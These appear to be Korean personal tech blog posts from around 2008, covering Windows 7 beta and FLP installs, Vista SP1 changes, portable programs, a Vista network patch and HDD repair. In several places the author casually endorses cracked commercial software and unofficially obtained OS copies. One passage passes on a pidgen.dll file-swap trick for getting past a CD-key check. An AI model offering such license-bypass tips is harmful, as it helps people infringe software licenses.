시디키 입력 화면입니다. 테스트용으로 쓴것이라 이버전의 시디키는 굳이 구하려 해보지 않았습니다.

비스타와 마찬가지로 30일 동안 인증없이 사용가능합니다.

사용자 삽입 이미지

설치 끝낼테니 좀 기다려달라 그럽니다.

사용자 삽입 이미지

바탕화면 구성을 하는중입니다. 비스타에서의 화면과 별다른 차이점이 없습니다.

사용자 삽입 이미지

드디어 윈도우 7 테스트 버전의 첫화면입니다. 외관상 비스타와 전혀 차이가 없습니다.

사용자 삽입 이미지

시작메뉴 또한 비스타와 별 차이가 없습니다. 7 테스트버전 발표전에 나돌았던 맥OS의 디자인을

훔쳤다고 논란이 됐던 초기화면은 가짜라고도 하는데.. 어쨋든 초기화면은 이렇습니다.

사용자 삽입 이미지

시스템 종료시 화면입니다.

사용자 삽입 이미지

다시 나온 로그인 화면.. 7 Ultimate 버전임을 볼수가 있군요.

사용자 삽입 이미지

시작시 지렁이 또한 비스타와 같습니다.

사용자 삽입 이미지

첫 실행시 아래에 중요 알림이 두개정도 뜨는데 윈도우 업데이트 설정, 바이러스 백신 설치여부

경고등이 뜹니다. 온라인상에서 소프트웨어를 찾게 하는 옵션도 있습니다만.. 대부분 따로 백신을

구입하거나 다운로드해서 사용하기에 별달리 필요는 없을듯 합니다.

사용자 삽입 이미지

윈도우 디펜더, UAC관련 설정등을 해줄수 있습니다.

사용자 삽입 이미지

윈도우 업데이트 방식을 지정하는 화면입니다. 전과 마찬가지로 사용자에게 알리고

설치하기등을 지정해줄수 있습니다.

사용자 삽입 이미지

디렉토리, 파일구조또한 대략 훑어봐서는 별다른 차이가 없습니다.

사용자 삽입 이미지

제어판입니다. 다른분들은 어떨지 모르겠습니다만 저는 클래식보기가 제일 편해서 이렇게 씁니다.

비스타에서는 제어판에서 로딩시 끊기는 감이 꽤 있는반면에 윈도우7에서는 거의 바로 떴습니다.

사용자 삽입 이미지

비스타에서 볼수있던 점수매기기 메뉴가 사라졌습니다. 대충봐서 그런지는 모르지만 안보이더군요.

(다쓰고 나서 보니 점수 메뉴가 있네요 -0- 너무 대충본듯 ^^:)

너무 대충 살펴본듯 하지만 세부내용까지 볼 흥미가 좀 떨어지긴 했습니다. 워낙 비스타와

인터페이스 차이가 없어서였기때문입니다. 여러모로 봐서 비스타는 예전 윈도우Me와 비슷한

과도기적 OS인듯 합니다. 섣부른 판단일지 모르겠으나  윈도우 비스타는 윈도우7 베타라고 보는게

나을지도 모르겠습니다. 여러가지 살펴보지 않아도 체감성능만 봐도 윈도우 7 베타가 우수했기

때문입니다. 물론 반대의견 많을것으로 생각되나 비교적 저사양 CPU를 사용하는 제게는 적어도

그랬습니다. 대략적인 최소사양으로는 펜4 1.5Ghz, 램512Mb정도를 두고있는데 이것저것 설치해서

사용하다 보면 램 2Gb는 넘어야 할듯 싶네요. 하지만 요새 PC들의 최소 램이 1Gb인걸 생각해보면

무리가 될듯 싶진 않습니다. 참고로 윈도우7 정식출시후에 미니PC들에도 윈도우7이 설치되서

판매될것이라는 예견이 있습니다. 그만큼 미니PC의 성능도 크게 업그레이드 되서 출시되겠죠.

윈도우 7을 보면 솔직히 좀 씁쓸합니다. MS에서 소비자에게 돈을 받아 비스타로 베타테스트 한듯한

느낌이 드네요. 앞으로 두고봐야 알겠지만 일단 설치해보니 윈도우7의 정식발매가 기대됩니다만

가격은 낮아져야 정당하다고 생각합니다. 일반 사용자가 쓰기에는 그저 게임 잘돌아가고

몇몇 프로그램들 잘돌아가면 OS로서의 기능을 다하는것인데 비스타로 소비자를 농락(?)한뒤

윈도우 7이 더빨라졌으니 돈 더내고 사세요 하는건 아니라는거죠..

마지막으로 윈도우라는 이름을 쓰는 OS는 윈도우 7이 마지막이 될것이라고 합니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

미니PC인 Eee PC 701을 사용하면서 xp라이트 버전 설치후에도 한참 모자라는 용량인 메인

SSD(4Gb)에 XP 서비스팩3을 설치하니 그나마도 없던 용량이 100~200Mb여밖에 남지 않았습니다.

인터넷조금 하고 간단한 기능들을 수행하기에는 이정도면 충분하긴 했지만 사람욕심이 그렇지

않더군요 -0- 대다수의 MMC카드를 지원하는 노트북들이 SDHC를 지원하는데 Eee PC역시

SDHC를 지원하기때문에 결국 Sandisk의 8Gb 클래스 2 제품을 구입했습니다. 원래는 클래스6

계열의 Extreme에디션이나 트랜센드사의 16Gb SDHC의 가격이 떨어지면 구매하려고 했는데

전자상가를 지나다가 충동구매 해버렸습니다. 하지만 역시 사람들이 용산이나 각종 대형컴퓨터

상가들을 왜 피하고 인터넷쇼핑을 하는지 알게되었습니다. 비슷할것이라 생각했던 가격은 찾아

보니 9천원이나 바가지를 썼더군요. 씁쓸했습니다.. 나름대로 오프라인매장이 망해가는것이 안타

까워 믿어보고 재지않고 구입했던것인데 이젠 저도 온라인쇼핑만 하렵니다.-0-

잡담은 이만하고.. 어쨋든 구입한 목적은 포터블 프로그램을 많이 저장해서 쓰려는 것이었습니다.

포터블 프로그램이란(Portable Program)?
 기존의 프로그램을 인스톨 과정 없이 즉석에서 사용가능하게 해주는 프로그램등을 사용하여
 간결화시킨 프로그램을 말합니다. 대표적으로 Thinstall을 대표적인
포터블화 프로그램으로 들수있습니다.

아래는 Pstart라는 프로그램 런처로 본 제가쓰는 프로그램들의 목록입니다.

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

 대충 보시면 거의다 알만하실 프로그램들입니다. 이보다 훨씬많은 프로그램들을 쓰고있으나

다합해도 1.8GGb정도 밖에 되지않습니다. 이러한 프로그램들이 없었다면 Eee PC같은 저용량

기억매체를 가지고 있는 PC에서는 XP상에서 유틸리티를 사용할수가 없었을겁니다. 물론 이전에

이런 포터블 프로그램을 사용했던 이유는 USB에 저장하여 이동시에 사용하려는 것이었지만 거의

쓸일도 없었고 SDHC구매전에 Eee에 연결해서 사용하기엔 번거롭기도 하고 속도도 쓰기에 불편할

정도 였기때문에 관심에서 멀어졌지만 이제 SDHC를 사용하게되면서 자주사용하게 된것입니다.

하지만 이렇게 편한 포터블 프로그램은 편하게 사용할수있는 반면에 원본 프로그램을 변형시킨

프로그램으로 원본 프로그램 제작자의 의도에 맞지 않게 작동할수도 있고 용량을 줄이기 위해

기능중 일부를 제거해서 필요한 기능을 사용하지 못할때도 있습니다. 또한 실행할때 Application

Data폴더등에 들어가는 사용자 프로파일등이나 레지스트리키가 설치종료후에 제대로 제거되지

않고 계속쌓여 시스템을 느리게 하는 결과를 낳기도 합니다. 전문 프로그래머이신 분들이 포터블화

하기도 하지만 저나 몇몇 아마추어 분들처럼  편리를 위해 제작하여 사용하는 경우가 많아 안정성을

보장 할수 없다는것이 문제이기도 하고 저또한 대다수의 상용 프로그램을 변조한 포터블 프로그램

을 사용하고 있는데 이는 개발자가 반대하는한 어떤 좋은말을 갖다 붙혀도 불법이란 것입니다.

USB메모리와 마이크로SD 매체들이 용량이 커지고 UMPC를 사용하는 유저가 많아지면서 이러한

포터블 프로그램은 앞으로도 더욱 많이 쓰이게 될텐데 앞으로 개발자 여러분들이 포터블 프로그램

에도 관심을 가져주셨으면 하는 바램을 가져봅니다. 무조건 안된다라기 보다는 상황을 잘 이해하여

더욱 나은 효과를 보는것이 좋지 않을까요. 개인적으로 좋은 방향을 보여주고 있는 프로그램으로

국산 무료백신인 이스트소프트의 알약을 꼽고 싶습니다. 포터블화되는것에 관심을 많이 보이고

있더군요. 오픈소스로 개발되는 포터블 프로그램들도 물론 많습니다. 대표적으로 오픈오피스등을

꼽을수있겠죠. 하지만 저는 오픈오피스를 안씁니다. 마이크로소프트의 오피스가 익숙하기 때문인데

누구나 그렇듯 익숙한것을 선호하게 됩니다. 그렇다고 오피스의 수많은 기능을 자주 사용하는것은

아니지만 필요한 기능들은 사용하기때문에 포터블 버전도 만족하며 쓰고있죠. 위에서도 언급했듯

UMPC나 미니PC등 저렴한 가격을 추구하며 이동성이 좋은 PC 하지만 성능자체는 일반 노트북에

비해 조금 떨어지는 PC들을 서브로 사용하는 사람들이 늘어날수록 이와같은 프로그램 포터블

화는 더욱 늘어날것이라 생각되고 프로그램 개발자와 포터블 프로그램 사용자들간에 적절한 타협

방법모색이 중요하다고 생각됩니다.

참고로 포터블 프로그램을 구할수 있는곳은 아래 링크들을 방문해보시면 됩니다.

http://usboffice.kr - USB메모리 스틱활용에 관련된 많은 자료를 얻으실수 있는 곳입니다.
네이버카페에서 http://usboffice.ohpy.com 을 거쳐 세번째 이동을 하게됐습니다.
한글화된 프로그램의 포터블프로그램에 대한 정보가 많기때문에 좋습니다.

http://fliiby.com/folders/176/portable_software.html - 각종 포터블 프로그램을 검색 다운로드
하실수 있는 외국사이트 입니다. 멀티랭귀지를 쓰지않는 프로그램의 경우 영어나 프랑스어
버전을 쓰는 프로그램이 많습니다.

http://portableapps.com/ - 포터블 프로그램에 관심이 많은분들에겐 익숙할만한 외국사이트
입니다. 상당히 안정적인 포터블 프로그램이 많습니다.

http://portableappz.blogspot.com/ - 이곳도 외국사이트 입니다. 장점으로는 프로그램들이
원본의 변형을 최소화 하여 작업되었다는 것입니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

벌써 윈도우 비스타가 출시된지 1년이 넘어 가고있습니다. 지금은 우리가 대중적으로 쓰는

윈도우 XP도 정착하는데에 상당히 오랜기간이 걸렸었죠. 개인적으로는 윈도우 비스타

사용을 권유하지 않는편입니다만 앞으로 1~2년후에는 예전의 윈도우 98에서 윈도우 XP로

넘어갈때와 비슷하게 정착시기가 정해지지 않을까 싶습니다. 노트북만 해도 윈도우 비스타를

탑재하고 출시되는 제품이 점점 늘어나고 있습니다. 물론 지금의 컴퓨터 시장을 봤을때는

사용자 입장에서는 부담스럽습니다. 저는 비스타 RC1부터 계속 사용을 해왔는데 지금의

윈도우 비스타는 XP보다 확실히 일반적인 용도인 홈PC 운영체제로 쓰이기엔 버겁습니다.

윈도우 XP FLP나 각종 Tweak이 이뤄져서 전파되고 있는 윈도우 XP Lite버전들이 작은

패키지 용량에 상당히 낮은 사양에서도 무리없이 사용가능하다는 것을 보면 아무래도

정착하는데에는 시간이 오래걸리겠고 현재의 윈도우 비스타에는 사용상의 불편함이 상당히

많습니다. 그럼 이번에 출시되는 SP1에 기대를 가져보며 비스타 SP1은 오리지널팩과

무엇이 다른지 간단히 살펴보겠습니다.

사용자 삽입 이미지

SP1은 비스타의 취약점인 안정성,성능,호환성 강화에 중점을 두고 제작되었습니다. XP에서

잘 구동됐던 프로그램들이 윈도우 비스타에서 제대로 작동하지 않았던점, 비쥬얼적인 면을

크게 강화시킨 덕택에 최신사양의 컴퓨터가 아니라면 느린점들이 많이 해소될지 모르겠군요.

SP1은 언어중립적으로 개발되어서 어느 언어를 쓰는 윈도우에나 설치가 가능합니다.

윈도우 업데이트를 사용할 경우 설치프로그램의 용량이 65Mb정도 패키지 형식으로 SP1을

사용한다면 영문판을 기준으로 450Mb 다국어 설치프로그램은 550Mb정도의 용량입니다.

요새는 대용량의 HDD를 대부분 사용하기에 설치용량은 크게 신경쓰일만한 부분은 아닌듯

합니다. 기존의 윈도우 비스타에서 바뀌는 부분을 몇가지 살펴보겠습니다.



○ 화면이 바뀌지 않을때 CPU를 슬립모드로 바꿔서 전력소모를 줄여준다.
(배터리 관리가 필요한 노트북에 좋은 기능입니다. 다만 기대하는것은 이런 옵션을 사용자가
활성,비활성화 할수 있게 해두었으면 합니다.)


○ 압축해제, 압축할때의 속도가 향상 되었다.
(압축폴더로 부터 해체,압축할때를 의미합니다. 기본적인 압축기능의 향상을 의미하는데
환영할 부분입니다.)


○ 파일이 많은 디렉토리를 이동할때의 속도가 "매우" 향상되었다.
(쌍수를 들고 환영할 일입니다. XP와 달리 비스타에서 가장 짜증났던 부분이 바로 폴더
이동시에 딜레이였습니다. 여러 작업을 하다보면 탐색창을 여러개 띄울때가 많은데 갈수록
반응속도가 느려지는 경우가 많았습니다.)


○ BITS(Background Intelligent Transfer Service)를 사용,파일 복사시의 성능이 향성되었다.
(이것또한 환영할 부분입니다. 대부분의 비스타 사용자들이 느꼈던 불만점이었을 것이라
확신합니다. 같은 하드디스크내에서 복사할경우 25%향상 네트워크상의 다른 PC로부터
파일복사시 45%정도의 속도가 향상되었다고합니다. 가상머신을 자주쓰는 저에게는 반가운
소식입니다. 그리고 복사나 이동시에 뜨는창의 남은시간 계산이 2초내에 이뤄진다고 합니다.)


○ 큰사이즈의 이미지를 읽는 속도가 50%향상 되었다.
 (자바 스크립트가 많이 들어가있는 웹사이트를 로딩하는 속도가 향상되었다고 합니다.
 인터넷 이용시 큰사이즈의 이미지를 확실히 XP보다 느리게 읽어들였는데 반가운소식이군요.)

○ 레디부스트기능 향상,슈퍼패치기능 향상, 시스템 종료속도 향상
 (대기상태에서 재가동 할때 레디부스트 지원장치에 저장되는 파일갯수를 줄여 더 빠르게
 기능가능하게 되었다고 합니다. Superfetch의 기능향상으로 여러환경에서 재가동시에
 성능이 향상되었습니다. 그리고 모바일 기기와의 싱크에 사용되는 비스타 유틸리티 사용으로
 어떤 경우에는 시스템 종료가 단 몇초만에 이뤄진다고 합니다.)


○ 노트북 사용시 어떤 네트워크를 사용할지 자동선택하는 로직개선, 네트워크 접속성능 향상
 (XP나 기존의 비스타에서는 따로 선택해 줘야했습니다만.. 더 높은 속도의 네트워크를
 자동으로 검색하는 로직의 기능향상이 이뤄진것 같습니다.)


○ 원격네트워크 접속시간 단축, PC잠금해제시의 딜레이 사라짐, 전반적 미디어 성능 향상
 (직장에서 간편하게 집에있는 컴퓨터에 원격네트워크 이용시에 시간이 조금 많이 소요
됐던것 같습니다. 저는 원격네트워크를 이용하질 않아서 잘 모르겠군요. PC잠금해제시
딜레이문제도 꽤 많은분들이 겪었던 문제인듯 한데 잘 해결됐네요.)


○하드웨어에 대한 지원, 향상
(아래와 같은 점의 기능향상,지원이 이뤄졌습니다.)

more..


○보안부문 개선
 기존 윈도우 업데이트를 통해 발표되었던 보안관련 핫픽스들이 포함되있습니다. 64비트
 버전에서는 커널패치 프로텍션과 서드파티 보안프로그램과 함께 동작할수 있는 API가
 포함되있습니다.

○새 기술,표준에 대한 지원

more..

SP1에서는 기존사용자의 큰 불만점을 꽤 반영한듯 합니다. 피일 이동,복사성능 향상이나
UAC사용시에 너무 잦은 실행여부 복사/이동 여부 질문횟수까지 줄였습니다. 노트북 시장을
염두해둔 탓인지 노트북 사용자를 위한 기능향상이 많이 이뤄진듯 하네요. XP때도 SP1이
서비스 된뒤에 한동안은 꽤나 말이 많았는데 비스타는 어떨지 궁금해집니다. ㅎㅎ 참고로
윈도우XP SP3도 출시됩니다. SP2에 많은 유저들이 만족했기에 SP3도 기대되는군요. 정품
인증에 대한 기능 향상(?)도 이뤄졌기때문에 어떻게 또 뚫릴지도 궁금해집니다. ㅎㅎ
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

한 몇달전에 까만거북이님 블로그에 방문했다가 윈도우 FLP설치기를 봤었습니다. FLP에

대해 들어는 봤지만 그간 윈도우XP의 불필요한 컴포넌트들을 뺀 라이트 버전을 만들어

사용해왔기 때문에 그냥 FLP가 MS에서 기업체의 오래된 저사양 컴퓨터를 위한 내부적으로

봤을때는 Embeded WIndows XP이지만 저같이 윈도우나 리눅스상에서 가상머신을 사용하는

경우가 많을경우 멀티미디어적 요소나 기타 윈도우 서비스등이 크게 필요하지 않을때가

더 많기 때문에 불필요한 요소가 빠진 이같은 윈도우 에디션을 쓰는것이 상당히 편합니다.

물론 기업체를 대상으로 제공되는 제품이기때문에 일반적인 경로로는 구할수 없습니다.

하지만 찾아보면 금방 구할수 있지요..ㅎㅎ FLP가 요구하는 시스템 사양은 다음과 같습니다.

CPU : 펜티엄 계열 233Mhz 이상 (300Mhz이상 권장)
RAM : 64Mb (128Mb이상 권장)
HDD : 500Mb (1Gb이상 권장)


HDD의 경우 최소한의 요소만 설치할경우 500Mb가 되겠으나 그렇게 설치해서 쓰기엔

매우 불편한점이 많습니다. 그렇게 쓰시는분도 많이는 없겠죠. 그럼 이제 FLP설치를

살펴보겠습니다.

사용자 삽입 이미지
부팅후 설치 환영 메시지 그냥 다음을 누릅니다.

사용자 삽입 이미지
처음 시디로 부팅을 하면 윈도우XP의 로고가 뜨면서 진행됩니다. 보통 항상 하는 최종사용권
계약 버튼을 누르고 나면 이화면이 뜨는데 원격설치및 무인설치 모드를 지원합니다.
대량으로 설치해야 할경우 상당히 유용하겠습니다.

사용자 삽입 이미지

CD key입력화면 입니다. 전에 FLP에 대해 외국사이트에서 기술문서를 보던중 한가지 흥미
로운 점을 들었는데 FLP시디내에 있는 파일중 pidgen.dll 이란 파일을 윈도우XP 시디의
파일과 바꿔치기 하면 XP의 시디키도 먹힌다는겁니다. 이 pidgen.dll파일은 시디키 검사
파일이라는군요.

사용자 삽입 이미지
FLP한글판은 있는지 모르겠습니다. 이런 일반적으로 쓰이지 않는 운영체제나 프로그램들은
거의 외국에서 많이들 배포되는 경우가 많은데 기본적으로 FLP는 영문판입니다. 바로 이화면
처럼 입력방법,시간,언어를 모두 Korean 으로 설정해주면 사용하는데에는 큰 불편없습니다.

사용자 삽입 이미지
최소,전체,선택 설치등을 선택할수 있습니다. 여기선 선택 설치를 하겠습니다. 아무래도
조금이라도 가볍고 작은 용량을 차지하는쪽으로 나가야되니 이중에서도 불필요한 요소는
조금 빼줘야겠죠.

사용자 삽입 이미지
FLP는 XP SP2 기반으로 제작되었기때문에 Additional Driver를 추가할경우 왠만큼 호환이
다됩니다. 그래서 추가했고 Complex languages support는 추가 안하셔도 됩니다. 도움말
도 별 필요없기에 체크 해제했는데 Windows Media Player는 추가하시는것이 사용시에
좋습니다. 이렇게 추가하니 1139Mb가 소요되는군요. 물론 더줄일수 있습니다.

사용자 삽입 이미지
다음은 파티션 지정입니다. 여기서는 가상머신을 활용해서 설치하고 있기때문에 최소한의
용량만 부여해봤습니다. 2Gb의 HDD에 설치를 하고있습니다. 기존 파티션을 전부 삭제하고
새로 만들수도 있습니다.

사용자 삽입 이미지
새로 파티션을 생성하면 포맷 여부를 묻습니다. 퀵포맷이나 파일,폴더 압축모드를
선택할수있는데 그냥 포맷해도 되고 퀵포맷해도 무방합니다.

사용자 삽입 이미지
바로 이전화면에서는 컴퓨터 이름과 조직을 묻는데 그냥 대충 입력해주면 됩니다. 윈도우XP
에서와 달리 기업체를 대상으로 나온 OS에디션이서인지 암호입력을 까다롭게 요구합니다.
특수문자,영문대문자,소문자를 조합해서 쓰라고 요구합니다. 만약 그냥 일반적으로 암호를
입력했다면 아래와 같이 뜹니다.

사용자 삽입 이미지
암호를 잊지 않도록 조심하시길 바랍니다. 대문자가 섞여있으니 살짝 귀찮더군요.

사용자 삽입 이미지
기본적인 네트워크 설정 부분입니다. 따로 사용하는 IP나 DNS주소가 없다면 그냥 넘어가도
됩니다.

사용자 삽입 이미지
도메인과 작업그룹을 묻습니다. 그냥 넘어가도 나중에 다시 설정할수 있습니다. 여기까지
마치면 설치내용 요약 화면을 보여줍니다. 그냥 넘어가면 됩니다.

사용자 삽입 이미지
여기서 부터는 쭉 알아서 설치를 합니다. 모두 설치되고 윈도우 부팅이 될때까지 손댈것이
없습니다. 그렇지만 중간화면도 몇개 보도록 하죠.

사용자 삽입 이미지
언제 이화면이 떴는지 까먹었는데 설치후엔가 한번 뜹니다. 나중에 부팅할때는 다시 윈도우
XP부팅로고가 뜹니다.

사용자 삽입 이미지
FBA(First Boot Agent)가 실행되면서 각종 PnP장치 설치 및 설정을 하며 네트워크도 설정및
설치를 합니다. 이 작업이 모두 끝나면 아래화면이 뜹니다.

사용자 삽입 이미지
부팅화면은 윈도우 2000의 그것과 비슷합니다. 여기서 조금 더 기다리면 ctrl+alt+delete를
눌러서 로그인을 하라고 윈도우 2000때처럼 요구합니다. 한가지 염두해둬야 할것은 사용자명
을 Administrator로 해야된다는것입니다. 입력후엔 보통 윈도우XP에서 배경화면만 빠진
같은 환경의 윈도우를 보실수 있습니다.

사용자 삽입 이미지
이것은 이전 사용메뉴로 전환시킨것이고 제어판에는 기본적인 요소들이 모두 포함되어
있습니다.

여기까지 윈도우FLP 설치에대해 캡쳐화면을 살펴봤습니다. 누구나 가벼운 운영체제를
선호하기 마련인데 바로 이 윈도우FLP가 일반적인 용도로 쓰이기에는 참 좋은것 같습니다.
윈도우XP를 기본설치하면 저사양 PC에서 무거운 감이 있고 2000을 쓰기엔 너무 오래되서
각종 드라이버 설치도 귀찮게 하는데 FLP는 SP2기반으로 만들어진 공식Lite버전이라 할수
있기때문에 상당히 가벼운편입니다. 작업관리자를 통해서 소요하는 메모리를 보면 약 90Mb
정도입니다. 저의 경우는 가상머신을 통해 이런 OS를 설치해서 웹서핑이나 기타 작업등을
수행합니다. 가족들이 메인OS를 손대서 망가트리는 것을 봉쇄하는 차원에서도 사용하며
여러 웹사이트에서 요구하는 각종 ActiveX설치가 짜증나서 그냥 편하게 쓰려고 사용하는데
직접 만들었던 Lite버전도 많이 가볍지만 아무래도 공식으로 제공되는 에디션이니 만큼
최적화가 더 잘되있는듯 하더군요. 오늘 설치했기때문에 더 많이 써봐야 알겠지만 웹서핑
등에는 참 편한 OS같습니다. 기회가 된다면 구해서 설치해보시는것도 좋을듯 싶습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

윈도우 비스타를 쓰면서 여러가지 불만은 있었지만 가장 큰 불만은 뭐니뭐니해도 인터넷 끊김

현상이었습니다. 일전에도 끊김 현상에 대해 글을 몇번이고 남긴적 있지만 회선교체후에도

확실히 해결되지 못했기에 여러방면으로 항상 찾아보고 있었습니다. (물론 회선교체전에는

훨씬 더심했고 신호증폭이 미약하다는 진단결과가 나왔었음.) 이번에 운영체제 및 여러가지

셋팅을 개선한뒤에도 여전히 인터넷 끊김 현상은 간헐적으로 발생했고 문제를 일으키는 가장

유력한 후보로 '카스퍼스키 인터넷 시큐리티' 와 '아파치 웹서버'를 1,2위 후보로 올리고

구글링을 했습니다. 키워드는 '카스퍼스키 인터넷 끊김' 으로 검색하던중 반가운 패치파일을

구하게 됐습니다. 나온지는 꽤됐는데 이제껏 엉뚱한곳에서 해결방안을 찾았던것 같네요.

마이크로소프트사의 이패치에 대한 기술문서 원문의 개요는 다음과 같습니다.

개요

이 업데이트를 설치하면 기본 게이트웨이가 클라이언트 IP 주소와 동일하게 구성된 경우 Windows Vista를 실행하는 시스템에서 오프 링크 주소에 연결할 수 없는 문제를 해결할 수 있습니다. 이 업데이트를 설치한 후 시스템을 다시 시작해야 합니다.

이 업데이트는 Windows Vista 사용 조건에 따라 제공되고 사용이 허가됩니다.

영문 기술문서 원본을 한번 살펴보죠.

CAUSE

This problem occurs because Windows Vista-based DHCP client computers configure the gateway address first. Then, the computers add the IP address to the computer. Therefore, the gateway address is configured on the Windows Vista-based computer as if it is the address of another computer.

When any network traffic must be sent to an off-link address, the Address Resolution Protocol (ARP) is used to connect to the gateway address. However, because the gateway address is the IP address of the Windows Vista-based computer, a response is not sent for the ARP request. Therefore, the network traffic is dropped.

대충 해석해보면 윈도우 비스타 기반의 DHCP때문에 이런문제가 발생하며 ARP요청에 대한
응답이 전송되지 않기때문에 네트워크 트래픽이 감소한다..라고 합니다.


어쨋건 이러한 이유때문에 접속이 끊긴것 처럼 연결이 지연되는 현상이 계속 일어납니다.

공유기를 사용하는 경우에 끊김 현상은 이 패치로 해결될지 모르겠습니다만 현재 지속적인

끊김 현상이 말끔히 해결되었습니다. 어둠의 경로를 통한 윈도우를 쓰고계신다면

공식홈페이지를 통해 패치를 다운로드 할수 없습니다. 정품인증을 거쳐야 하기 때문이죠.

그것도 피할방법은 있겠지만 귀찮기도 하고..어쨋든 패치파일 링크를 걸어두었습니다.

문제가 있으신분들은 패치 해보시기 바랍니다. 받은곳에서는 32bit,64bit 버전 모두 관계없이

적용된다고 나와있는데 64bit버전은 테스트해보지 못했습니다. 어짜피 지원되지 않는 패치는

설치도 되지 않으므로 한번 해보시기 바랍니다. 윈도우 비스타에서 인터넷 끊김현상이 있는

분들에게 도움이 됐으면 좋겠습니다.


신고
크리에이티브 커먼즈 라이선스
Creative Commons License

글쓰기에 앞서 야동 야사키워드가 순위권 밖으로 밀려나서 내심 서운(?) 했는데 요새 다시
10위권 내로 진입하고 있네요 ㅋㅋㅋ 근데 누나 레깅스는 왜찾아 ㅡㅡ;

어쨋든..

요새 HDD들은 여간 큰 충격을 주거나 디스크 액세스를 많이 하는작업(프루나 혹은..이뮬,이동키

등..)을 과도하게 많이 하지 않는이상은 워낙 성능이 좋아져서 여간해선 배드섹터가 생기지 않습

니다. 배드섹터가 무엇인지에 대해서는 인터넷 찾아보면 금방나오니..여기선 생략하고 논리적인

배드섹터가 생겼을때 데이터를 파괴하지 않고 복구할만할 쓸만한 유틸리티가 있습니다. 지금 소

개하는 HDD Regenerator가 그것인데 물리적 배드섹터는 어떠한 유틸리티로도 해결이 불가능 한

점을 유념하시기 바랍니다. 대신 이경우에 HDD검사 유틸리티로 배드섹터 부분을 검색하여 파티

션 유틸리티를 사용해 해당섹터들을 하나의 드라이브로 할당한뒤 나머지 부분만 활성화 시켜서

손상된 부분을 액세스 하지 않게 하는 임시방편은 있습니다. 논리적 배드섹터의 경우의 복구는

매우쉽습니다. 이는 정말로 손상이 가해진것이 아니기 때문에 이경우 로우레벨 포맷을 해주면

됩니다. 대부분의 로우레벨 포맷 유틸리티는 도스상에서 실행을 하는데 윈도우용은

http://hddguru.com
에 가시면 쉽게 구할수 있습니다. 로우레벨 포맷은 일반적으로 하는 포맷

과는 다른형식이며 섹터를 재배치 하기때문에 디스크에 무리를 많이 줍니다. 가능하면 로우레벨

포맷은 하지 않는것이 좋습니다. 어쨋건.. 이번에 이 유틸리티를 쓰게된 이유는 세컨드컴에서

쓰는  HDD 한대가 자꾸 데이터 손실이 생기고 파일을 저장하지 못해서였는데 이번해 여름에

컴퓨터가 엎어지면서 충격이 컸나봅니다. Sea모사의 HDD는 멀쩡한데 SAM모사의 HDD는 바보

가 됐네요. 사실 용량도 두개다 각각 4Gb밖에 안되서 별로 쓸모는 없지만 그래도 다운로드 전용

으로 잘 써먹으려고 했는데 쪼금 실망하긴 했습니다. 그렇다고 새로 한개 사기는 그렇고 해서

배드섹터 잡아보자 마음먹고 HDD Regenerator를 사용했습니다. 사용법은 별것 없습니다.

그냥 ISO파일을 시디로 굽거나 해서 부팅하면 드라이브를 선택하라고 하고 선택하면 검사하고

알아서 수정합니다.;;

(주의사항 : 검사시에 엄청난 시간이 소요됩니다. 잘 생각해보시고 실행결정 하세요 ;;)

아래 사진들은.. 검사하는데 얼마나 시간이 오래 걸리는지를 보여줍니다..ㅡㅡ;

사용자 삽입 이미지

08.1.11(금) 11:00 AM 이전에도 대략 두세시간은 검사한듯.. R은 복구가 된것인데 아마
배드섹터가 발생한 도입부는 살짝만 긁힌듯 합니다.

사용자 삽입 이미지
어떤유형의 파티션이나 포맷되지 않은 디스크에서도 사용가능합니다. FAT,FAT32,Linux,NTFS
모두 가능합니다.


사용자 삽입 이미지
08.1.11(금) 08:07PM 아침 여섯시 정도 부터 시작한것 같은데 이제 2.2Gb 검사했군요. 여기까지
배드섹터가 발생하는것으로 미뤄봐서 다 망가졌을꺼라 예상은 했습니다.ㅋㅋㅋ 그래도 이왕한것
끝까지..

사용자 삽입 이미지
08.1.11(금) 9.26PM 세컨컴이 팬소리도 그렇고 너무 시끄러워서 이쯤에서 그냥 꺼버릴려고
하다가 한번 더 참느라 찍었습니다..


사용자 삽입 이미지
08.1.11(금) 10:42PM 이때도 고비였죠..ㅋㅋ

사용자 삽입 이미지
08.1.12(토) 03:04AM 할말을 잃게 합니다. ㅋㅋㅋ 벌써 하루가 지나버렸네요.. ㅋㅋ

사용자 삽입 이미지
08.01.12(토) 05:13AM 드디어 완료 ㅜ_ㅜ 몽창 배드섹터가 생겼습니다. ㅋㅋㅋ 예상은 했었습니다만..;; 원래는 이렇게 스캐닝이 끝난뒤에 복구작업을 시작하는데 다 망가졌기때문에 그 작업도
전혀 되먹질 않았습니다. 슬쩍 화가난 저는..


사용자 삽입 이미지
HDD를 분해하기로 했습니다. 원래도 항상 고장난 HDD는 원형그대로 둬본적이 없군요. 모두
한번씩 뜯어봅니다. 제일 뜯기 쉬웠던 HDD는 예전에 후지쯔 8Gb HDD였던것 같습니다..
삼성 HDD도 뜯기 참 쉽습니다. 위의 두개의 나사와 겉부분 나사만 잘 풀어주면 그냥 뚜껑이
열립니다.

사용자 삽입 이미지
코마상태인 HDD ㅋㅋ 거울처럼 빤딱거리는 것이 플레터 입니다. 이곳에 데이터가 저장됩니다.
HDD는 이렇게 뜯어도 잘 작동합니다. 하지만 미세한 먼지입자들이 헤드에 걸리면 그만큼 물리
적 손상이 가해질 위험이 높기때문에 그렇게 쓰지 않는것 뿐이죠. 하나 버리는셈 치고 겉케이스
튜닝해보는것도 꽤나 즐거울듯 합니다. ㅋ


사용자 삽입 이미지
이제껏 고장난 HDD들을 분해하면서 한번도 안해봤던 담배연기는 HDD에 얼마나 해로운가를 실험 해봤습니다.;; 별반응 없어서 관뒀습니다. 헤드가 상당히 빨리 움직이기 때문에 흔들려서 찍히는군요. 이외에 입김불어넣기도 몇번 했습니다. 겨울에 혹시라도 자연의 힘을 빌어 쿨링하신다고 베란다에 내놓고 쓰거나 하시는 분들.. 뚜껑이 밀봉된 HDD라도 치명적입니다. 조심하시길..

